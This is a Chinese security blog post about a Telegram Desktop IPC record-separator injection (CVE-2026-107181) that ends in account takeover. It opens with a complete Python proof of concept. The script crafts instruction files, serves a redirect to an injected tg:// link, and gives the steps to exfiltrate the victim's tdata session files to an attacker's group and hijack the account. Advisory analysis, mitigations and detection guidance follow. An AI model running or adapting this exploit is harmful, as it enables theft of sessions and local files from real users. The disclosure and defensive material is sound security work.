TelegramDesktop一键账号接管(CVE-2026-107181)"

admin 2026-11-09 01:34:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

Telegram Desktop 一键账号接管(CVE-2026-107181)

原创

67626d
67626d

暗影安全

2026年11月5日 10:00
北京

去阅读

poc走在前面

#!/usr/bin/env python3\"\"\"CVE-2026-107181 - Telegram Desktop <= 7.2.8IPC record-separator injection -> interpret: arbitrary file read -> account takeover
When Telegram Desktop is already running, a clicked tg:// link is forwardedfrom the second process to the first over a local socket as text records:
    OPEN:<url>;
Semicolons in <url> are not escaped, so the receiver splits one link intoseveral commands. The internal `interpret:` scheme (a leftover releasetooling helper, removed in 7.2.9) reads an instruction file and uploads anarbitrary local file to a chat, with no confirmation and no auth check.
Chained with Telegram's default auto-download of group files (which landsattacker-written instruction files at a predictable path), one clicked linkexfiltrates tdata/key_datas + session files -> full session hijack.
Reference: https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/Patch:     https://github.com/telegramdesktop/tdesktop/commit/db3405699f (7.2.9)
LAB / EDUCATIONAL USE ONLY. Test against systems and accounts you own.\"\"\"
import argparseimport osimport sysfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
# Files that make up a Telegram Desktop session (Windows, default data name).# key_datas holds salt + wrapped DEK; with no local passcode the KEK derives# from an empty password, so these three files are the whole login.SESSION_FILES = [    \"tdata/key_datas\",    \"tdata/D877F783D5D3EF8Cs\",    \"tdata/D877F783D5D3EF8C/maps\",]
# Victim's auto-download dir, relative to %APPDATA%\\Telegram Desktop# (interpret: resolves relative paths from Telegram's working directory).# %20 = space. Three levels up lands in the user profile, then Downloads.DEFAULT_DL_PATH = \"../../../Downloads/Telegram%20Desktop\"
DECOY = (b\"<!doctype html><html><head><meta charset='utf-8'>\"         b\"<title>Community Rules</title></head><body>\"         b\"<h1>Community Rules</h1><p>Be respectful. No spam.</p>\"         b\"</body></html>\")

def build_payload(dl_path: str, count: int) -> str:    \"\"\"Craft the tg:// URL whose semicolons become extra OPEN: records.\"\"\"    payload = \"tg://x?a=1\"  # carrier URL, matches no handler    for i in range(1, count + 1):        payload += f\";OPEN:interpret:{dl_path}/i{i}.txt\"    return payload

def write_instruction_files(channel: str, outdir: str) -> None:    \"\"\"Instruction files for interpret: - plain text, LF, no BOM, no 'from:'    (omitting from: skips the account-id check). channel: wants the bare    MTProto peer id: Bot API id -1004488553400 -> 4488553400.\"\"\"    os.makedirs(outdir, exist_ok=True)    for idx, path in enumerate(SESSION_FILES, 1):        content = f\"channel: {channel}\
file: {path}\
caption: poc\
\"        target = os.path.join(outdir, f\"i{idx}.txt\")        with open(target, \"w\", encoding=\"ascii\", newline=\"\
\") as fh:            fh.write(content)        if b\"\\r\" in open(target, \"rb\").read() or \\           open(target, \"rb\").read(3) == b\"\\xef\\xbb\\xbf\":            sys.exit(f\"[!] {target}: bad line endings or BOM\")        print(f\"[+] wrote {target}\")

def serve(payload: str, host: str, port: int) -> None:    class Handler(BaseHTTPRequestHandler):        protocol_version = \"HTTP/1.1\"
        def do_GET(self):            if self.path.startswith(\"/go\"):                self.send_response(302)                self.send_header(\"Location\", payload)                self.send_header(\"Content-Length\", \"0\")                self.end_headers()                print(f\"[+] HIT {self.path} from {self.client_address[0]}\",                      flush=True)            else:                self.send_response(200)                self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")                self.send_header(\"Content-Length\", str(len(DECOY)))                self.end_headers()                self.wfile.write(DECOY)
        def log_message(self, *args):            pass
    print(f\"[*] exploit server on {host}:{port}\")    print(f\"[*] post this link in the group:  http://<YOUR-IP>:{port}/go\")    ThreadingHTTPServer((host, port), Handler).serve_forever()

def main():    p = argparse.ArgumentParser(        description=\"CVE-2026-107181 PoC - Telegram Desktop IPC injection \"                    \"-> arbitrary file read (lab use only)\")    p.add_argument(\"-c\", \"--channel\", required=True,                   help=\"bare supergroup id (strip -100: -1004488553400 -> \"                        \"4488553400)\")    p.add_argument(\"-p\", \"--port\", type=int, default=8080)    p.add_argument(\"--host\", default=\"0.0.0.0\")    p.add_argument(\"--outdir\", default=\"out\",                   help=\"where to write the instruction files\")    p.add_argument(\"--dl-path\", default=DEFAULT_DL_PATH,                   help=\"URL-encoded relative path of the victim's \"                        \"Telegram auto-download folder\")    args = p.parse_args()
    channel = args.channel[4:] if args.channel.startswith(\"-100\") \\        else args.channel    if not channel.isdigit():        sys.exit(\"[!] channel id must be numeric (bare id, no -100 prefix)\")
    print(\"[*] CVE-2026-107181 PoC - Telegram Desktop <= 7.2.8\")    write_instruction_files(channel, args.outdir)    print(\"[*] steps:\")    print(\"    1. post the files from --outdir as FILE attachments into the \"          \"supergroup\")    print(\"    2. victim opens the group (auto-download lands them in \"          \"Downloads\\\\Telegram Desktop\\\\)\")    print(\"    3. victim clicks the link, Telegram <= 7.2.8 must be RUNNING\")    print(\"    4. session files are uploaded to the group -> rebuild tdata\")    serve(build_payload(args.dl_path, len(SESSION_FILES)),          args.host, args.port)

if __name__ == \"__main__\":    main()

一个特制的tg:// 链接,利用Telegram Desktop「单实例进程间通信(IPC)」通道未转义的记录分隔符,向主进程注入额外命令,最终触达一个遗留的interpret: 内部处理器,把本地任意文件(含tdata 会话密钥)静默发送到攻击者控制的频道——若受害者未设本地密码,即可被完整接管账号。这是一个经典的「分隔符注入(CWE-143)」叠加「遗留危险功能」导致的严重信息泄露/账号接管漏洞。

1. 漏洞档案

项 内容
CVE CVE-2026-107181
组件 Telegram Desktop Core::Sandbox(单实例IPC 处理),support\_helper.cpp 中的interpret: 处理器
弱点分类 CWE-143:Improper Neutralization of Record Delimiters(记录分隔符处理不当)
影响版本 Telegram Desktop < 7.2.9(公开复现覆盖6.9.3 → 7.2.8)
修复版本 7.2.9(2026-09-17 发布;修复 commit db3405699f8fc3ae28a58d2348b7d13a43c0590a 于09-16)
CVSS 3.1 = 8.1(High);4.0 = 8.6(High)(VulnCheck 作为 CNA 给 8.6)
攻击向量 Network(AV:N);无需本地权限(PR:N);需用户交互(UI:R / UI:P)
影响面 机密性High、完整性 High、可用性 None
发现者 Emiliano Versini(beaksec);技术文2026-10-03 发布、10-07 更新
CVE 分配 VulnCheck,2026-10-07
报送路径 经Zero Day Initiative(ZDI)于 2026-06-25 报送;ZDI 于 09-30 以\"已修复\"结案
在野利用 截至披露,无在野利用证据;未列入CISA KEV
公开PoC 已存在(多个GitHub 仓库,见第 8 节)
已验证平台 仅Windows;macOS / Linux 未在技术文中验证(CVE 文本却全平台标注)
供应商透明度警示:Telegram 在 7.2.9 的更新日志中只字未提安全问题,仅标注\"渲染修复(rendering fix)\",且无独立安全公告。安全团队若只靠 changelog 跟踪补丁状态,极易漏掉这次实质性修复。

2. 机理拆解

2.1 单实例 IPC 通道:本地信道被默认可信

Telegram Desktop 是「单实例」应用——同一时间只跑一个进程。当 Telegram 已在后台运行时,用户在浏览器(或任何外部程序)里点击一个tg://链接,系统会启动一个临时的新Telegram 进程,该进程发现已有实例在跑,便通过本地socket(命名管道/套接字)把链接原文转发给主进程,随后自己退出。主进程解析消息后把对应聊天拉到前台。

关键:这条本地IPC 通道默认假定\"本地来的就是可信的\"。点到即用的便利,埋下了\"本地信道不可盲信\"的坑——和浏览器、IDE 的单实例机制同源,但 Telegram 的序列化格式恰好可被注入。

2.2 根因:记录分隔符;未转义(CWE-143)

Telegram 的 IPC 序列化格式形如 关键字:参数;,用分号(;)作为命令/记录分隔符。例如主进程构造的消息是:

OPEN:tg://<被点击的链接>;

问题出在:应用把用户点击的链接原样拼进OPEN:记录,却没有对链接内容里的;做转义。链接文本完全由攻击者构造,于是:

l攻击者只需在链接中嵌入一个;,接收端就会把\"一条记录\"误判成\"两条记录\";

l后半段被当成一条独立的合法内部命令执行。

这本质和SQL 注入、HTTP 请求走私同源:用分隔符拼接字段、又允许字段内含该分隔符,接收方就无法区分\"带特殊值的字段\"和\"两条独立字段\"。

2.3 放大器:遗留的interpret:内部处理器

注入的命令触达了一个名为interpret: 的URI 方案处理器。它原本是为自动发布(release publishing)流程设计的遗留内部辅助功能,从未按\"不可信输入\"来设计:

l它读取本地的一个指令文件,按其中描述把指定文件发送到指定聊天/频道;

l无任何权限校验、无用户确认弹窗。

因此注入的OPEN:interpret:... 记录,可以让Telegram 主动把机器上任意本地文件(不止 tdata,还包括浏览器会话、SSH 密钥、加密钱包等)静默上传到攻击者频道。

2.4 修复做了什么(commitdb3405699f)

l彻底移除interpret:方案;

l对单实例socket 上的记录分隔符做转义处理;

l叠加额外防护:同一连接中若出现OPEN: 记录,则忽略CMD: / CTRL: 记录;一旦遇到非本地URL,立即丢弃本地文件路径。

3. 完整攻击链(公开披露版,分阶段)

以下为公开技术文描述的\"完整链路\"抽象概括,用于理解威胁模型与检测点。不包含可直接复制的恶意payload,也不提供针对具体受害者的投递步骤。

阶段 动作 依赖的前提(默认配置)
① 落盘 攻击者将小型\"指令文件\"作为附件发进 Telegram 群,群组自动下载(默认≤ 8 MiB)把文件落到可预测路径 群组自动下载开启;路径可预测(如C:\Users\\Downloads\Telegram Desktop\)
② 加群 攻击者建超级群并把受害者拉入——默认隐私允许\"任何人可把我加进群\" \"谁可以把我加进群组\"为默认(非仅联系人)
③ 触发 受害者点击一个普通HTTPS 链接,浏览器重定向到一个特制tg://链接 链接须在Telegram 外部(如浏览器)打开;在Telegram 内部点击走另一不受影响路径
④ 注入 tg:// 链接内嵌的; 把IPC 消息拆成多条记录,注入 OPEN:interpret:... 命令 浏览器唤起桌面端前通常会弹确认框(额外一道门槛)
⑤ 外发 interpret: 处理器按指令文件,把tdata 目录下的三类关键文件发往攻击者频道 三类文件:key\_datas(盐值+加密的 DEK)、MTProto 授权文件、索引映射
⑥ 接管 受害者未设本地密码(默认) → 盐值+空密码可推导出密钥加密密钥 → 解开数据加密密钥 → 攻击者在全新 Telegram 安装上重建会话、登录账号 本地密码未启用

关键边界(避免误读\"一键\"):

l必须是在Telegram 外部点击的tg:// 链接;App 内部点击走不同代码路径,不受影响。

l\"一键\"成立依赖多个默认配置同时为真:群组自动下载开启、允许被任意加群、未设本地密码。浏览器唤起应用前的确认框也增加了一道门槛。

l公开复现链在Windows 验证;macOS/Linux 有效性未在技术文中确认(CVE 文本仍全平台标注,企业应视为潜在受影响并采取缓解)。

4. 利用现状与 PoC

l公开PoC 已存在,且被多家媒体称为\"working PoC\"。公开仓库见第 8 节(00nx、abdugafforov-bobur、SeanDishman 等)。

l公开PoC 属于完整的\"崩溃/外发/接管可行性\"验证范畴。本文不搬运、不重述其weaponizable 部分。

l截至披露,无在野利用证据,未入CISA KEV。但\"公开可用 PoC\"通常会迅速缩小\"理论可行\"与\"实际被滥用\"之间的窗口——这正是要求立即打补丁的理由。

5. 影响面与边界(诚实标注)

维度 说明
已验证平台 仅Windows(6.9.3 起至 7.2.8)
CVE 文本范围 全平台Telegram Desktop(macOS/Linux 未在文中验证,建议同等对待)
是否入KEV 否(截至披露)
在野利用证据 无(截至披露)
\"一键\"前提 外部点击+ 群组自动下载 + 可被任意加群 + 未设本地密码,缺一不可
可窃取范围 不止tdata:任意本地可读文件(浏览器会话、SSH 密钥、加密钱包等)

6. 修复与版本线

动作 说明
升级 Telegram Desktop ≥ 7.2.9(披露时最新为7.3.0,建议直接升到最新稳定版)
验证构建 确认客户端内部版本号≥ 7.2.9,不要只看\"已是最新\"弹窗
非官方客户端 使用非官方/改版客户端的用户,在相关补丁发布前应暂时切回官方客户端

7. 防御与检测(蓝队视角)

7.1 个人/终端缓解

动作 说明
立即升级 所有受管Windows 终端升到 ≥ 7.2.9
启用本地密码 设置→ 隐私与安全 → 本地密码;即使会话文件被偷,密码也会加密tdata,阻止即时接管
关闭自动下载 改为\"每次询问保存位置\",消除指令文件自动落盘路径
收紧加群权限 \"谁可以把我加进群组\"设为仅联系人,切断被动加群环节
警惕外部唤起 对浏览器请求\"用 Telegram 打开\"的弹窗保持戒备,尤其来自陌生链接

7.2 检测指标(可沉淀为规则)

l进程/网络侧:监控Telegram 进程向外(攻击者频道)的异常文件上传行为、异常的子进程派生。

l端点侧:关注tdata 目录下key\_datas、MTProto 授权文件、索引映射的非常规读取/外发。

l行为侧:同机出现\"外部 tg:// 唤起+ 随后向未知频道发送文件\"的组合事件,高度可疑。

l补丁SLA:将桌面IM 客户端纳入常规补丁确认清单,不依赖厂商changelog 是否提及安全。

8. 引用链(带 URL + 日期)

1.beaksec 技术文(原始披露):https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/ — 发布 2026-10-03,更新 2026-10-07

2.NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-107181 — 标记 \"Awaiting Enrichment\"

3.Debian Security Tracker:https://security-tracker.debian.org/tracker/CVE-2026-107181 — Bug 1150328

4.OpenCVE:https://www.opencve.io/cve/CVE-2026-107181

5.CVE-DB(含 PoC 仓库链接):https://www.cve-db.com/cves/CVE-2026-107181

6.VulnCheck 公告(CNA,CVSS 4.0 8.6):https://www.vulncheck.com/advisories/telegram-desktop-before-7.2.9-ipc-record-injection-file-exfiltration-via-interpret-scheme

7.修复commit:https://github.com/telegramdesktop/tdesktop/commit/db3405699f8fc3ae28a58d2348b7d13a43c0590a

8.受影响代码(v7.2.8):sandbox.cpp#L362-L364、support\_helper.cpp#L673-L751 — https://github.com/telegramdesktop/tdesktop

9.发布标签v7.2.9:https://github.com/telegramdesktop/tdesktop/releases/tag/v7.2.9

10.公开PoC 仓库(多份,仅列作溯源,不搬运内容):

¡https://github.com/00nx/telegram-account-takeover-poc

¡https://github.com/abdugafforov-bobur/cve-2026-107181-poc

¡https://github.com/SeanDishman/telegram-cve-2026-107181

11.媒体/二次报道(机理交叉验证):

¡Secure Bulletin:https://securebulletin.com/telegram-desktop-patches-high-severity-ipc-bug-that-enabled-one-click-account-hijacking/

¡FreeBuf(中文):https://www.freebuf.com/articles/system/505519.html

¡Enigma Global:https://www.enigma-global.com/preview/news/44425

¡ZyVOP:https://zyvop.com/how-a-single-link-could-steal-your-telegram-desktop-session-69xnx

¡駿捷科技(中文):https://www.dreamjtech.com/35372

12.EUVD(欧盟漏洞库):EUVD-2026-94329

评论:0   参与:  0